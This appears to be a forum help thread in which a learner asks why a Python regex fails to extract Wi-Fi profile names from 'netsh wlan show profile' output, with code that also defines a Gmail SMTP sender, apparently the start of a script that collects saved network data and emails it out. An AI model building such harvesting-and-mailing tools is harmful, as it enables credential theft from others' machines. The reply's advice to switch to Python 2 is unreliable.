Hi, I am wondering what I did wrong with regex.

this is the result I gotten:

“AUSD-Staff\\r\\n All User Profile : Ma\\r\\n All User Profile : cbfix\\r\\n All User Profile
: wifispot1\\r\\n All User Profile : Frontier6368\\r\\n\\r\\n'”
——————————————————————————————————————-
question Why dosn’t it put network name put it into a list? why does it print out the whole string, was there anything wrong with the pattern I input?

This is my code:

import subprocess, smtplib, re

def send_mail(email, password, message):
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()

command = “netsh wlan show profile”

networks = subprocess.check_output(command, shell=True)

networksname= re.findall(“(?:Profile\s*:\s*)(.*)”, str(networks))

print(networksname)

Hi!
Are you using python 3? If so then use python 2, it will be easier.

Let me know.

hi yes I am, could you help me if I want to use python 3, what would be the regular expression pattern? thank you

Hi!
The regular expression will not change, it’s the same in any python version. The thing is that with python 3 the result is being displayed as a byte-like object, not as a string. This a constant issue with python3 but for this script is better to use python 2.

Greetings!
Diego
